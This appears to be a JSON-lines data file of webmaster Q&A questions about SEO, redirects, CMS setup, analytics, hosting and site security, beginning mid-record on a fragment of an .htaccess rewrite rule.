^(.*)\\.html$ $1\/ [R=301,L] RewriteRule ^(.*)\\.htm$ $1\/ [R=301,L] <\/IfModule> # END WordPress"}
{"id":"5079","title":"Can drupal do this?","text":"I am a php developer using mostly CakePHP, magento, and wordpress. I want to create a community driven website aimed at the volunteering community that will let users sign up, create profiles, add previous voluntary positions, let organisations sign up and post jobs, etc. Is this something that drupal can handle? Is this what drupal was built to do? I'm just wondering how drupal deals with custom methods. Say I wanted to have a user request a reference from someone, I'd have to write methods that did this. Would that be possible in drupal?"}
{"id":"13902","title":"When designing a website, how do you usually start?","text":"In the past I've done some HTML, CSS and PHP coding, but I've only ever worked on things that were already \"finished\" and I've never started a website from scratch. However, I recently purchased a domain and some hosting for cheap, and I'm hoping to improve my HTML, CSS, and Javascript skills so that I can become a bit more marketable as a web developer\/webmaster. Typically, what process do you use to start a website? Do you draw the layout on paper and then do the code? Or do you just start coding and tweak the output to your liking?"}
{"id":"48405","title":"Getting started with a website","text":"So I know `HTML`, `CSS`, `Javascript`, `jQuery`, `PHP`. But I'm not sure how to put it all together to begin making an actual website. I'm not looking at something too big here since I'm just a beginner, but I need to start somewhere. More specific stuff: 1. In what ways do I carry on my layout for which page in my website, without having to do it again for each page? Not only layout, but also stuff like menus which have to be on every page. 2. Should I use software like `Drupal`, or should I start off alone and start worrying about that later? 3. Is there a place where I can read about all this stuff?"}
{"id":"17163","title":"Facebook Promotion guidelines","text":"Hi I want to build a Facebook `promotional\/competition` page and just want to make 100% sure that I am within the laws governed by the Facebook Promotional Guidelines. Here is a link to the guidelines http:\/\/www.facebook.com\/promotions_guidelines.php I want to build a video voting page on Facebook. Facebook users cannot enter the competition. They can however vote for their favourite video and on voting post a message to their wall. The video with the most votes will be declared the wining video. edited A random voter could also stand a chance on winning a prize. here is an extract from the guidelines that i am unclear about. ` 3\\. You must not use Facebook features or functionality as a promotion’s registration or entry mechanism. For example, the act of liking a Page or checking in to a Place cannot automatically register or enter a promotion participant. This is pretty self explanatory. Thus we cannot ask someone to “like” or vote for their favourite video in order to enter or a stand a chance to win. We can ask them to do these things, but not as a condition to be part of the competition.`"}
{"id":"49627","title":"Is there a way I can redirect search engine traffic by U.S. State or Zip Code?","text":"I work for an e-commerce company that operates solely within the United States. However, the price of goods and availability of our products depends on what State or even Zip Code you reside in (we sell alcohol). I know that there are techniques for localized SEO on a national scale, but I was wondering if there is anyway we can do it on a Provence\/State scale. I have been searching for an answer but everything seems to be on the international scale. For example, we would prefer it if Google\/Bing\/Yahoo knew the location of their visitors and could point them to: `oursite.com\/?state=CA` Or `oursite.com\/?state=TX` Or `oursite.com\/store\/product1?state=MA` Is there anyway to convey this information to the search engines with either canonical tags or another approach?"}
{"id":"5072","title":"Where can I get high quality vector graphics for web design?","text":"I am looking for a place where I can buy web 2.0 (cartooney mac-like) vector graphics for use on my sites. Where's the best place to go?"}
{"id":"68135","title":"Web user authentication methods","text":"Is there any method besides using a DB with username and password for authenticating a user?"}
{"id":"22834","title":"Getting statistics on traffic sources for website usage","text":"Does anyone know a valid source where to get global statistics on how users access a webpage? E.g., Site Referrer - 48% Search Engines - 41% Direct Entry - 1%"}
{"id":"5074","title":"In Drupal, how do auto-list headlines from a news section on the homepage?","text":"**Requirements:** * Headlines also go to an RSS feed on the home page * Needs to be a link below the listing to \"View More News\" (meaning it goes to the news section)"}
{"id":"60443","title":"Avoid duplicate link to same page with #","text":"I have one link in main nav `example.com\/photo` but i want to add more links on page, which go on same page as this nav. Will this `example.com\/photo#` help me avoid duplicate link to same page?"}
{"id":"60445","title":"How to create a seperate blog page on my site with a different theme","text":"My website is currently setup as a blog, where there are categories and post within them. However I want to create a separate page where I can discuss news, ideas, and thoughts, while having a different theme."}
{"id":"61764","title":"Are there any problems with pages from the same site using different doctypes?","text":"After a re-design of some pages in our site, we have the new re-designed pages with doctype HTML5 and all the rest pages (that are not yet redesigned) with doctype XHTML 1.0 Transitional. Does that create any problem? (SEO or otherwise)? There is a similar question (Is it bad to have a mix of HTML 5 and XHTML pages within one website from SEO perspective?) but it only touches the SEO subject. I am wondering if any other kind of issue can arise from this situation."}
{"id":"31796","title":"Canonical URL for a home page and trailing slashes","text":"My home page could be potentially linked as: http:\/\/example.com http:\/\/example.com\/ http:\/\/example.com\/?ref=1 http:\/\/example.com\/index.html http:\/\/example.com\/index.html?ref=2 (the same page is served for all those URLs) I am thinking about defining a canonical URL to make sure Google doesn't consider those urls to be different pages: <link rel=\"canonical\" href=\"\/\" \/> (relative) <link rel=\"canonical\" href=\"http:\/\/example.com\/\" \/> (trailing slash) <link rel=\"canonical\" href=\"http:\/\/example.com\" \/> (no trailing slash) Which one should be used? I would just slap `\/` but messing with canonical seems like a scary business so I wanted double check first. Is it a good idea at all for defining a canonical URL for a home page?"}
{"id":"9563","title":"How can I monitor a website for malicious changes to the files","text":"I had an occasion recently where our website was compromised - a link farm was added to a couple of the pages on one occasion, and on another occasion, a large and nasty aspx file was put on the server. I won't mention the host's name (Hostway), but I was pretty annoyed that someone was able to do this. No, it wasn't a leaky password - around 10 sites hosted by HW with consecutive IP addresses got trashed. Anyway. What I need is a utility or service (preferably free) that takes a snapshot of my websites contents, and then regularly monitors the files (size and datestamp) for unauthorized changes or additions, and alerts me. I've used web services that monitor one file for changes, but I'm looking for something a bit more aggressive."}
{"id":"9566","title":"Best SEO practices for mobile URLs: 301, rel=canonical, or something else?","text":"I am developing a site with a mobile version and am trying to figure the appropriate way to manage the URLs for search engines. So far I've considered: 1. Having a separate mobile site (m.example.com) with rel=\"canonical\" links to the regular site. 2. Putting both the mobile site and full site on one URL (example.com), and doing user agent sniffing. 3. Another opinion: > Spencer: \"If you have a mobile site at a separate location or URL, you > should 301 redirect each and every mobile page to its corresponding page on > your main website. Employ user agent detection so that the mobile optimized > version is served up if someone's coming in from a hand-held. - > http:\/\/developer.practicalecommerce.com\/articles\/1722-Mobile-site- > Development-Best-Practices-for-SEO-Usability Both 2 and 3 make it hard for a user who wants to switch to the full site or mobile site manually, but I'm not sure 1 is the best alternative. What's the best way to write URLs for a mobile site?"}
{"id":"931","title":"How to deal with multiple step forms where one of the forms are not submitted","text":"Say you have a submission process that requires two forms. The submission of the 2nd form triggers an email. What do you do if the second form isn't submitted? Say the user forgets or closes the window by accident. My only solution was to update the DB with a flag from the submission of the 1st form that identifies an email has not been sent. Submission of the 2nd form will trigger an event to send an email and update the DB with a flag that identifies an email has been sent. A cron job will run periodically to check for any flags for unsent emails, gather the information, and send an email. Is this the best way of dealing with the issue? Thanks. **Edit: Clarity** Form 1 User submits general data Message 1 User presented with a choice. User needs to choose to \"pass\" or \"accept\". If the user submits the \"accept\" form (Form 2), an email is sent. If the user submits the \"pass\" form (Form 2), they are presented with another message with another choice (Form 3). If the user does nothing, the last choice provided is their default choice, but at this point an email still needs to sent. I hope that's more clear."}
{"id":"35529","title":"Allowing temporary access to cpanel for freelancer","text":"I'm currently using a2hosting's cpanel on a shared hosting account. I'd like to temporarly give access to a freelance developper so he can upload some php files, csv files and create tables in my database. Does anyone know how I can do that? I'd like to be able to revoke their access after a few weeks. Thanks for your time."}
{"id":"935","title":"Multi site wordpress setup","text":"Currently my company has 3 blogs and what I did was to install three instances of wordpress over Apache\/MySQL, in different directories. The problem is that I have a Slicehost VPS with 256Mb RAM with Ubuntu8.04 and MySQL is crashing Linux or making it very slow and unresponsive. Is there some kind of optimal setup for this scenario? I know that my server is too _cheap_ but I'm not sure either if an upgrade to 512 will fix things. I'm thinking about migrating to nginx, but what about MySQL? Is there any solution to this? Is this the right site to post this question or is it `serverfault`? Thanks"}
{"id":"14520","title":"How to protect PDF file from indexing?","text":"I have a link to PDF document on a public web-page. How do I prevent search engines from indexing this link and PDF document? The only idea I thought of is to use CAPTCHA. However, I wonder if there are any magic words that tell a search engine to not index the link and PDF document? Options using PHP or JavaScript are also fine. Just to make it clear. I do not want to encrypt PDF and protect it with password. I just want to make it invisible for search engines, but not for users."}
{"id":"58960","title":".htaccess - delete characters from URL and redirect","text":"I need help modify a file _.htaccess_ delete characters from URL and redirect. The file _.htaccess_ is currently empty. 1. I want to change the word `article` to the word `topic` in all the URLs. The current URL: www.example.com\/index.php?action=article&cat_id=011&id=37&lang=en 1. I want to delete the last characters of the URLs `&lang=en` and some URLs `&lang=` The current URLs: www.example.com\/index.php?action=article&cat_id=011&id=37&lang=en www.example.com\/?action=article&cat_id=011&id=37&lang= So the final URL: www.example.com\/index.php?action=topic&cat_id=011&id=37 www.example.com\/?action=topic&cat_id=011&id=37"}
{"id":"51406","title":"Google not crawling my website","text":"I own a website http:\/\/citrusbug.com. We did not have proper content before so to prevent search engine from crawling our site we added a _robots.txt_ with code to prevent crawling. Now we had updated our sites content and want to get it crawled, but Google is not crawling it yet. We removed the code from _robots.txt_ to prevent Googlebot to crawl, but still it is not getting crawled. We almost did this change before 20-21 days but still Google is not crawling our site and if search I search on Google it displays: > A description for this result is not available because of this site's > robots.txt – learn more. Kindly guide me, what I need to do for this?"}
{"id":"14844","title":"How do i Seperate WebHosting Space and Email Hosting Space","text":"I have a VPS account from knownhost. I have clients who have their website hosting on my server. Some have subscribed 50MB, 100MB, 500MB or 1 GB as per their requirement. They are also allowed to create email address in their accounts but the email address's capacity will be shared with web site's space. Now I would like to separate that web hosting space and email account's space. So What is it called and from where can i start?"}
{"id":"11835","title":"Google Custom Search can't find anything other than the main page","text":"I added a Google Custom Search to my website several weeks ago, and it has been unable to find anything other than the home page of my site. I have manually submitted a sitemap to the custom search, and to the webmaster tools (which for some the custom search can't find, but it says I should add one). I understand there are not a lot of details here, but I don't have much to go on. I've double checked my robots.txt, there's nothing there that's preventing the indexing of my pages. EDIT: Actually, does the google custom search work any differently than a regular google search? I assumed that it indexed separate from the regular google search, but I guess it's possible that both a google custom search and the normal google search draw from the same pool of pages. In that case the only way to get custom search to find my pages is to get Google to crawl them...which pretty much makes the custom search useless if it can't find the most recent things I've posted."}
{"id":"11833","title":"APC on 1and1 shared hosting?","text":"Is anyone aware of a way to use APC on a 1and1 shared hosting account? They don't have the pecl extension installed by default."}
{"id":"18564","title":"SEO in image's path?","text":"Does including keywords in the image's _folder_ path of any importance at all for SEO ? (Keywords for the image's _filename_ are important.) \/ **foobar** \/images\/keyword.jpg vs \/ **keyword** \/images\/keyword.jpg"}
{"id":"22285","title":"How does Google find a domain with no links to it?","text":"I recently registered a new domain, pointed it to my existing server, and set up a minimal page just saying \"test\" and nothing else. I just discovered tonight that the page is already indexed in Google! There are no links to the site (I haven't even told anyone about the domain since I haven't done anything with it yet). Is Google trawling WHOIS records or something?"}
{"id":"49895","title":"Is it possible for Google to discover a website that is not linked to anywhere?","text":"My colleague claims that he has seen cases where websites were \"discovered\" by Google without having a link to them anywhere on the web. For him, this means that the only way to not being indexed (for example when a website being developed is already online, but not ready to be used by customers yet) is to restrict the access to the files on the server with a password. How can Google find a website without following links? If for some reason the site is discovered, isn't robots.txt and a global `<meta name=\"robots\" content=\"noindex\">` (on every page) enough?"}
{"id":"4495","title":"Does changing web hosting server affects SEO page ranking?","text":"I have been hosting in a server from last 2 years. I am planning to change the hosting server. Before i change the hosting server i would like to know whether it affects my page ranking or not?"}
{"id":"67508","title":"Transferred hosting and website not online during transition for 2 weeks - will this affect search results?","text":"If a website's hosting is being transferred and is not online in between for approx. 14 days - would this affect the organic search positions when it's finally transferred? When they've since disappeared entirely from the search results? NOT A DUPLICATE."}
{"id":"45568","title":"Will changing server location affect SEO?","text":"I have a .com website hosted in the US. Most of my traffic comes from there, but I found better prices and service in a webhost with a server in another country. Will it matter if I make the switch, given that I have an international audience but traffic mostly coming from the US?"}
{"id":"38607","title":"Forwarding non-www domain to other domain using DNS","text":"Is it possible to forward `firstdomain.com` to `www.seconddomain.com` or `seconddomain.com` using purely DNS records? I know how to forward `www.firstdomain.com` to `seconddomain.com` (using a CNAME). What I am trying to do is move my site from one domain to another (new) one, and not break all the links that use the old domain name. I can't do a 301 redirect as it's hosted on GitHub Pages and I don't have access to the web server."}
{"id":"60639","title":"How does 2 domains on dedicated IP's sharing the same backend affect the ranking?","text":"I have two Domains, both with dedicated IP's, with a service acting location based. The two domain-names have simple to remember name-pattern going like `##servicedescription##france.com` and `##servicedescription##germany.com` with the main keyword at the first position in the domain-names. Now, I could easily copy the CMS and servicesoftware on each hosting plan but I want the system to stay maintainable. Thus, I want both domains share the same backend with slightly different content. Both websites are displayed in english as the default language. Does this in any way affect the ranking and how can I optimize this constellation?"}
{"id":"57377","title":"Fetch as google - getting both 301 and 404","text":"I am getting this from fetch as Google: HTTP\/1.1 301 Moved Server: nginx Date: Wed, 22 Jan 2014 23:07:58 GMT Content-Type: text\/html; charset=utf-8 Content-Length: 20 Connection: keep-alive Status: 404 Not Found Location: http:\/\/www.peciatky.sk\/page-not-found Vary: User-Agent,Accept-Encoding Content-Encoding: gzip Set-Cookie: 8812c36aa5ae336c2a77bf63211d899a=Bbvc3w0i7riSZmjnod4ylyvTAnxn7DCLHYhXe92zKrRSDQqNDueWOsutRqv%2FallRQe4HFrGbnpiOTy4Cy%2Beglw%3D%3D000060; expires=Tue, 11-Feb-2014 23:07:58 GMT; path=\/; domain=peciatky.sk; httponly Set-Cookie: 8812c36aa5ae336c2a77bf63211d899a=Bbvc3w0i7riSZmjnod4ylyvTAnxn7DCLHYhXe92zKrSIJvpKfQ%2BsH0cil9dtFLSB7mx6NcgFC89BWp3h8IqeSQhy%2Btt5JlIMFe0f%2BdCAhpI%3D000075; expires=Tue, 11-Feb-2014 23:07:58 GMT; path=\/; domain=peciatky.sk; httponly Which one is the main error that Google works with - the 301 or 404?"}
{"id":"33574","title":"When entered into Google, what's the difference between \"link:www.mysite.com\" and \"links:www.mysite.com\"?","text":"I've heard this is the way to measure inbound links to a website? What is the difference between the two and is there a better way besides these?"}
{"id":"57800","title":"Tracking many subsites in Google Analytics","text":"We have a website where visitors buy access to online courses. We'd like to have reports about visitors across the website\/all online courses as well as reports of visitors on specific courses. The main website and the online courses all reside on the same domain with the courses being hosted in subfolders. The number of online courses already is around 50 and will grow, so having a dedicated view per online course is a bad idea because of the limit on the number of views per account. Would using page level custom variables identifying each page view to a course be enough to produce interesting reports? Is there a better strategy?"}
{"id":"56881","title":"Google stating price is missing from product rich snippet, but it is present","text":"I'm trying to figure out how to start adding rich snippets to products but I keep getting an error from Google stating: > In order to generate a preview with rich snippets, either price or review or > availability needs to be present. But I have price in there in a meta tag. I don't get what's wrong here: <li itemprop=\"offerDetails\" itemscope itemtype=\"http:\/\/data-vocabulary.org\/Product\" class=\"span3\"> <div class=\"thumbnail\"><meta itemprop=\"category\" content=\"flowers\"> <a itemprop=\"url\" href=\"\/en\/2-in-too-deep.html\" title=\"Depth\"> <img itemprop=\"image\" alt=\"A dozen red roses is as romantic as it is classic.\" src=\"\/2-441-catalog\/.jpg\"> <meta itemprop=\"description\" content=\"[A dozen red roses is as romantic as it is classic.]\"> <\/a> <div class=\"caption_mobile visible-phone\"><p itemprop=\"name\">Depth<\/p><\/div> <\/div> <div class=\"caption hidden-phone\"> <h4 itemprop=\"alternateName\">Depth<\/h4> <meta itemprop=\"price\" content=\"$40\"> <meta itemprop=\"currency\" content=\"USD\" \/> <\/div> <\/li>"}
{"id":"23404","title":"Having google index canonicals but users using parameters - correct?","text":"I'm working on a site that has a search facility with multiple parameters that look up property listings. The possible parameters are: City, Area, Building Type, Min. Bedrooms, Max Rental Price, Page Number, Sort Order. The 'raw' url, without any rewriting would look something like this: **www.mysite.com\/city=1 &area=1&type=1&bedrooms=3&price=1000&page=3&sort=1** While you're using my site, it doesn't matter to me or to you what the URL looks like, so I think I'm happy to work with the so called 'dirty' URL. It matters however, what Googlebot sees, so i'm planning to add a URL rewrite to allow access to pages like: **www.mysite.com\/london\/kensington\/apartments** And then i'm planning to add canonicals to make sure that's the page that gets indexed - no matter what your bedroom \/ price preferences are, what page of results you're on or the order in which you want them to appear. The idea is that Google will only index fewer, higher quality 'view-all' pages, but users will be able to drill down and refine their results to get very specific. The question however is whether or not this is a correct use of the canonical and whether it will lead to the desired effect? **EDIT** It doesn't matter if google indexes 'dirty' URLs with parameters (though it should index the clean one when theres one available). What really matters is that the site gets found when people conduct a relevant search. Having it above competitor sites is the idea, if they didn't have an SEO strategy."}
{"id":"36118","title":"How to integrate formstack, wordpress and authorize.net?","text":"What are all the steps that involve in integrating formstack with Wordpress CMS? What are all the steps involved in integrating formstack with authorize.net?"}
{"id":"44759","title":"Do too many redirects hurt the SEO structure of Wordpress blog?","text":"I have a website http:\/\/www.voiceable.org\/ and just moved a category posts to the subdomain http:\/\/tech-fun.voiceable.org\/ Now, i am using redirection plugin for 301 redirection from that category to sub domain. The category has more then 500 posts, is it safe to use these no of 301 redirection from SEO point of view or will it have any impact on search engine ranking?"}
{"id":"24038","title":"Adaptive websites - considered keyword stuffing by Googlebot?","text":"> **Possible Duplicate:** > Adaptive websites - considered keyword stuffing by Googlebot? I work on a SEO-dependent content website, and we are in the process of making our site adaptive\/responsive (what are adaptive websites?). More technically, we are using CSS media queries to apply different CSS styles as the size of the browser changes. As the browser size shrinks to 320x480 and below (mobile), we use CSS to hide much of the content on the page - up to 75% of it. My question is - would Googlebot consider this practice keyword stuffing? My worry is that Googlebot may think we are stuffing the page with keywords to make the page relevant, but then hiding the keywords with CSS."}
{"id":"44200","title":"Web hosted payment form service recommendation, for card processing","text":"I'm accepting credit cards on my website, using PayPal's \"hosted\" solution (an IFRAME that collects the credit card information, PayPal calls this \"PayFlow\"). I chose PayPal because they were a brand I recognized. However, PayPal has been absolutely dreadful to deal with, accidentally deleting my account overnight and whole comedy of errors, bad service, and hidden fees; so I'm looking for a replacement. I will eventually be taking recurring payments. These are for simple website service subscriptions, so it will be a custom \"shopping cart\". I don't want to touch the credit card numbers, to limit my risk as much as possible. Can anyone else recommend a major player that they trust to do this, please? I don't see where Google Checkout offers a hosted form, but I could be wrong. And if this is a bad place for this question, would you please give me a bit of advice on where to take it? There is supposed to be a FAQ at http:\/\/stackoverflow.com\/questions\/982953\/what-is-the-best-credit-card- processing-service , but it is gone. edit: Based on one of the answers, I should mention this is for North American (almost exclusively US) business."}
{"id":"68795","title":"Is it possible to track URL parameter and then value of cookie?","text":"I have recently launched a site for a customer which we would like to track initial visits on URL's like so via Google Analytics and then track their revists on their respective referral code: User comes in on: * `domain.com\/?ref=code1` * `domain.com\/?ref=code2` * `domain.com\/?ref=code3` Once they land, we drop a cookie with the ref code and this determines what they see on revisiting the site. They are locked to this ref code unless they go through another affiliate website and come in on a new referral code. We would like to know which code they came in on, and then know which code is within the respective cookie? That data can then be drilled down into via filters or seperate profiles perhaps? I am not an SEO specialist, just a web developer trying to sort this out."}
{"id":"33541","title":"Canonical URL for paged results pages","text":"If you use a canonical url meta tag on a paged result page, will Google still link to it when a keyword is found? I have a forum which has multiple pages for each topic. 10 posts per page. When I google for a topic title, I see that page but also a link to the last page, and since the button said \"Last\", Google actually adds that to the link, making it look really weird because they remove the original title, which is also the topic title. Anyway, should I put canonical URL meta tags on pages that have \"\/page\/4\/\" behind the URL? And if people search for content that can be found on page 4, will Google still point them to the right page? To make it more abstract: Having multiple links in search engines results is silly, but they should still be crawled as the content is not duplicate."}
{"id":"67361","title":"Why are my posts omitted from Google search results when my site is listed in it?","text":"My domain is not new at all, in fact I have waited for quite a long time now for Google to show some love. If I do a search for my domain name, it shows the website is listed, but if I try to search for even a year-old post on Google, using my website name too, it never returns it. Instead it says some results have been omitted and asks if those omitted results should be included in the search results. The following is the message it returns: > In order to show you the most relevant results, we have omitted some entries > very similar to the 8 already displayed. If you like, you can repeat the > search with the omitted results included. Why are my posts are never returned in search results even though I have original and ample content on my website?"}
{"id":"43573","title":"Is this considered as keyword stuffing?","text":"I have developed a page to define world time zone clocks online. At the bottom of the page, I list all 600+ time zones. Is this considered as keyword stuffing? Does this impact ranking negatively? Should I remove them? Thanks!"}
{"id":"59782","title":"Trying to add share button for blog articles","text":"I have added share buttons to the articles on this page: http:\/\/185.37.226.104\/noticias I have used the code generated here. As you can see there are multiple articles on the same page, I have done it like that because the articles will be not too long. So I have to use this structure. The problem: when I press \"Like\" on one article, nothing happens, any help?"}
{"id":"59786","title":"How can I stop Googlebot can't access your site messages from a site that's moved to another developer","text":"I had a client who moved their site a while back to another developer. When they moved it they took down the site and put up a coming soon page ( which is currently what's there). Googlebot warned me that it couldn't reach the site so I logged into My Webmaster tools and removed the site from it, but I continue to get messages saying it can't access the site. Is there some way I can communicate this scenario to Google. I really thought that removing it from my webmaster tools would have done the trick. I'd rather not put the google email address in my blacklist."}
{"id":"48074","title":"Time Update in HomePage Meta Description","text":"every time I add a new post my blog homepage also shows the update time in Meta. Say whenever i type site:thetopblogger.com in Google search it shows update time in homepage Meta description - 1 hour ago, 4 hours ago, 15 hours ago, 3 days ago, 5 days ago which matches with the last post add\/update. I check many blogs but no one is showing any time in homepage Meta. I do not want to show time in Homepage Meta description, as Google will think that I refresh\/update my homepage meta frequently! Any idea how to solve this? Thank you."}
{"id":"20292","title":"HTML Code Editor - conditional find & replace","text":"The Dreamweaver find and replace tool was very handy. (I no longer use Dreamweaver.) You could perform conditional search and replace on tags and\/or tag attributes, which was very effective for cleaning up (atrociously) bad Word HTML code, for instance. Do you know of an alternative to the HTML find & replace tool found in Dreamweaver?"}
{"id":"29721","title":"Debugging \"Flex error #1001\" in Google results","text":"In the little summary extract which Google displays about pages from a site I administer, there's frequently a Flash error message: > ### Page Title > > www.example.com\/...\/Slug_of_the_page > Flex Error #1001: Digest mismatch with RSL > http:\/\/www.example.com\/framework_3.2.0.3958.swf. Redeploy the matching RSL > or relink your application with the ... _I know people will want to tell me what the error message means and how to recompile, but there are plenty of instructions about that elsewhere, and that's not my question._ I see this happening in search summaries for pages on this site which I think don't _have_ any Flash objects in them - and certainly Firebug's Net tab doesn't show any. Google's cached version of the page doesn't include the error messages in the HTML or text-only versions. Trying things at random and waiting for Google to re-index is clearly not a sane strategy. Does anyone know a tool which reproduces as closely as possible Google's web page to text converter, or which in some way would allow me to reproduce the error message locally so that I can debug and test that I've fixed it?"}
{"id":"57925","title":"Google Analytics: Exclude all non-event unique visitors","text":"I have a dashboard on which I want two widgets: * **Widget one** : A _statistics_ widget with the count of _unique visitors_ that did **not** fire _any event actions_. * **Widget two** : A _statistics_ widget with the count of _unique visitors_ that did fire _specific event actions_. Widget two was a piece of cake: * Statistics: `Unique visitors` * Filter: Only show `Event action`, with regular expression: `(action1|action2|action3)` But I can't seem to get widget one to work, I tried the same setip as two but as regex: `.+` and exclude instead of only show. This would seem to me like it would exclude all unique visitors with any event action? Instead it shows results in 0 visitors. **Edit** : Oh, and it is important that the widget actually exclude **any** event action, not just the action1, action2 and action3 from the other widget."}
{"id":"23509","title":"Confused by Fetch as Googlebot behaviour","text":"I have a site that I 'm trying to index and I am a bit confused by what I should expect to see in the result of the `Fetch as Googlebot` tool. The site uses hashbangs, so according to Google it _should_ be crawlable by substituting hashbangs with `?_escaped_fragment_`. However, the results of the fetch don't show the actual content. Is this normal?"}
{"id":"791","title":"How many domains to split components across?","text":"I understand how splitting components across domains can maximize parallel downloads, and enable you to have cookie-free static content domains, but since there's a time cost for each domain lookup what is the optimum number of domains to use?"}
{"id":"790","title":"Far Future Expire Headers","text":"Do you use these? If so, what strategies do you have for managing changes to the files? http:\/\/developer.yahoo.net\/blog\/archives\/2007\/05\/high_performanc_2.html"}
{"id":"67144","title":"Can we import and display Facebook comments on our social media site?","text":"I'm implementing a startup social media site where users post product reviews and other opinions. One of the features is a Facebook Share function. The business owners are interested in using the Facebook Graph API to track posts which users share on Facebook. They would like to \"monitor\" comments and other activity that occurs on Facebook for our posts that our users have shared. Technically, my understanding is that this is possible. Are we allowed to import these comments for display on our site? We are looking for options that would let us integrate or \"redisplay\" comment activity that occurred on Facebook but about a post on our site. Would this be problematic from a legal standpoint? We would rather stay away from official Facebook \"comments plugins\" and other such tools - and retain full control over the way that such comments are displayed on our site."}
{"id":"9389","title":"What is the difference between a Facebook Group and a Facebook Page","text":"I created a Project Management Stack Exchange Facebook Page to help promote the new Project Management Stack Exchange Site. One of the users suggested a Facebook Group instead. I use Facebook, and I've searched the help pages, but it's not immediately clear to me what the advantages and disadvantages are. Can you provide a list of uses for Groups and uses for Facebook Pages and perhaps some links to resources that help differentiate one from the other?"}
{"id":"57928","title":"Spam being sent from my domain","text":"I have a suspicion that somebody is sending spam from my domain. Today I received an email from postmaster(`AT`)halliburton.com to htuwxjw(`AT`)example.com which said: > The following email was blocked because it contained an attached file type > that is prohibited by the Halliburton email gateway: > > Sender: htuwxjw(`AT`)example.com > Subject: ATTN: Important notification for a Visa \/ MasterCard holder! htuwxjw(`AT`)example.com does not exist. I have a catch-all email which receives any email sent to @example.com. Is there anything I can do to prevent this? I have this TXT record on example.com: (MX records are Google's) v=spf1 a mx ?all I'm worried that any emails I send will be blacklisted if this person keeps sending emails as if they're from my domain."}
{"id":"798","title":"Do I have to pay for advertising to get my site known?","text":"If your site isn't going to show up in the search engines until people start linking to you, and no one is going to link to you until they know your site exists ... which will be when the search engines start showing you... Is the only way to get your site known to pay someone to advertise your site? What are some other ways to get you site started up?"}
{"id":"65510","title":"Problems with setting up email notifications in Redmine","text":"I´ve installed a fresh Redmine 2.5.1 installation on a Ubuntu 12.04 server. Redmine is served by Apache (passenger). The Server can send emails by use of Postfix (tested with the _mail_ command from terminal). After reading the help document on Redmine's Email-Configuration, I´m confused where to put what though. My aim is to use the server's ability to send emails with Postfix and not to use an external SMTP like Gmail. Redmine is also giving me following error in email settings:  In `\/etc\/redmine\/default` I have following files (no _configuration.yml_!): * database.yml * session.yml In `\/usr\/share\/redmine` resides: * additional_environment.rb.example * environment.rb * locales * boot.rb * environments * routes.rb * configuration.yml.example * initializers * settings.yml Questions: 1. Which directory is responsible for Redmine's config? 2. Which file is respnsible for email settings? 3. What configuration is needed to use the server's Postfix?"}
{"id":"47012","title":"How can I block a user agent from all sites on my server?","text":"For the last few days, I've been suffering from what appears to be a (presumably inadvertent) DDOS attack. I've been getting so many requests from an agent identifying as \"Mozilla\/4.0 (compatible; ICS)\" that apache eats through all the available memory. Consequently, I'd like to block all requests accompanied by this user agent, so I tried doing this in httpd.conf: SetEnvIfNoCase User-Agent \"Mozilla\/4.0 (compatible; ICS)\" bad_user Deny from env=bad_user But when I restart apache it complains about using `deny` here. Without having to wrap it in a `location` or `directory` block, which would mean I'd have to add a new block for each site, is there any way I can deny access to the whole server? * * * UPDATE: The error I get > * Restarting web server apache2 > Syntax error on line 4 of \/etc\/apache2\/httpd.conf: deny not allowed here > [fail] >"}
{"id":"68869","title":"Redirect Everything After slash (\/) to another directory","text":"I'm sure this is an easy thing to do but I can't seem to find the answer! I'm trying to redirect `https:\/\/carddav.example.com\/MYUSERNAME` to `https:\/\/carddav.example.com\/remote.php\/subdomain\/addressbooks\/MYUSERNAME\/contacts` where MYUSERNAME can be anything. The current RewriteRule I have attempted looks like: RewriteRule ^\/(.*)$ https:\/\/carddav.example.com\/remote.php\/carddav\/addressbooks\/$1\/contacts\/ [R=301]"}
{"id":"26073","title":"Can a mobile version of site be considered duplication by Google if the page is the same only the css is different?","text":"Hearing about the problems with mobile browser detection I plan to add a button to my site which enables the users to switch manually between normal\/mobile version of the site. The button sets a cookie and reloads the page and the PHP code on the server side seeing the cookie serves exactly the same page with only the CSS link pointing to the mobile stylesheet file. I heard Google is able to follow javascript code too, so it may \"push\" the button and sees the mobile version of the site. Wouldn't it confuse Google that it sees exactly the same page (same URL, same content) with only a the CSS link replaced? Wouldn't it consider it duplicate content?"}
{"id":"28041","title":"Should I index my mobile duplicate of my desktop website on google?","text":"> **Possible Duplicate:** > Can a mobile version of site be considered duplication by Google if the > page is the same only the css is different? I have a duplicate of http:\/\/he.thenamestork.com with the url http:\/\/he.thenamestork.com\/mobile - all files are duplicated while the mobile version has a slightly different content. Notice that when I write 'mobile' I only mean regular HTML4 with smartphone friendly CSS. I have a series of redirects (using .htaccess) that allows smartphone users land directly on the mobile versions. But I wonder, shound I index the mobile version as well so those users will be able to get direct, faster links? And what is the proper way of doing that without causing problem in google search? I guess I'm asking if there's a way to get google display regular urls for desktop users and ..\/mobile\/.. urls for smartphone users, and if it is smart SEOwise."}
{"id":"1130","title":"Best alternative to Adsense for a small website?","text":"The accepted answer to this question states that Adsense functions rather poorly. What is the alternative then? My site has about 400 daily visitors, 1.5 pages\/visit - so I'm too small to manually approach any sponsor for an personal ad deal. What AdSense would work best? By 'best' I mostly mean \"make the most money\", although usability is also a factor."}
{"id":"68830","title":"How will search engine find out if content of dynamic sites are changing?","text":"I have site with few hundred blog posts and few thousand dynamic pages. If I create a sitemap.xml for dynamic pages , google does not crawl and index it. reason - they are not linked to each other and from other pages. The data on each dynamic page gets updated every few weeks. If I create link from home page and then link these pages from inner pages, search engine can crawl them. How will the search engine figure out if the content has changed after few weeks in absence of sitemap.xml for these dynamic pages?. I use sitemap.xml for blog content but not for dynamic pages."}
{"id":"34418","title":"Geographic location settings","text":"I am building an website. It has an .nl domain. Now only my domain is showing up on google.nl I hope I can change this somehow that it could be findable in all google's (like google.com \/ co.uk) and so on. If I look on google forums. They say go to webmaster tools and change your geographic position over there. But I have added this site and I am not able to change it there because there is no select box. I dont have any idea were to search (yes I searched on google offcourse) or where to ask for this special problem. So maybe here can someone redirect me or explain me what is possible and what not. The question is can I make an .nl domain findable in (almost) all google search sites? And so on how can I do that. Picture of my google webmaster tools (nl): http:\/\/i.stack.imgur.com\/ZuP4L.png"}
